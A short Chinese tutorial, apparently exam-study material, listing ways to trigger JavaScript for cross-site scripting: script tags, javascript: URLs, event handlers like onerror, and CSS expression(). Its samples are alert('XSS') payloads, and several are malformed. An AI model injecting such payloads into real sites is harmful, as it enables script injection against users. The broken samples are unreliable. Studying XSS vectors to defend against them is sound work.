直接触发
- 在HTML页中插入<script></script>脚本标记。JS嵌入到HTML中的两种方式:
- 1)直接嵌入<script>标签
<script language="javascript">
document.write("hello world!");
</script>
- 2)在外部以js文件的形式嵌入
<script language="javascript" src="test.js">
</script>
利用HTML标签属性触发
- 利用HTML标签中能够访问文件的属性来执行JS代码。JS中包含一个URL伪协议,可以使用javascript:加上任意JS代码来表示一个URL,浏览器装载此URL时,JS被执行。包括:src、href、dynsrc、longdesc、lowsrc等属性。
< img src="javascript:alert('XSS')" />
< img dynsrc="javascript:alert('XSS')" />
< img longdesc="javascript:alert('XSS')" />
< input src="javascript:alert('XSS')" />
< embed src="javascript:alert('XSS')" />
< a href="javascript:alert('XSS')" ></a>
利用HTM事件触发
- HTML标签中定义了一系列事件,如:鼠标、键盘事件触发的事件,当满足一定条件时事件被触发,JS代码被执行。如<img>标签中的onError事件,当图片载入失败时, onError被触发,JS代码被执行。
<img src="#" onerror="alert('XSS')" />
<img onClick ="alert('XSS')" />
<img onDblClick ="alert('XSS')" />
<img onMouseDown ="alert('XSS')" />
<img onMouseMove ="alert('XSS')" />
<img onMouseUp ="alert('XSS')" />
<body onError="alert('XSS')" /></body>
利用CSS触发
CSS嵌入HTML中的三种方式:
1)以.css文件的形式:
<link href="test.css" rel="stylesheet" type="text/css"/>
2)以<style></style>标签的方式:
< style type="text/javascript">alert('XSS');</ style >
3)在标签中以style属性的方式。
<a style ="background-image: url(javascript:alert('XSS'))"> </a>
IE支持在CSS中使用expression,用来把CSS和JS结合起来,即CSS后跟一段JS代码,CSS属性的值等于JS代码的执行结果:
<style>
h1{color:#CCC;height:expression(alert('xss'));}
</style>
<h1></h1>
喵呜刷题:让学习像火箭一样快速,快来微信扫码,体验免费刷题服务,开启你的学习加速器!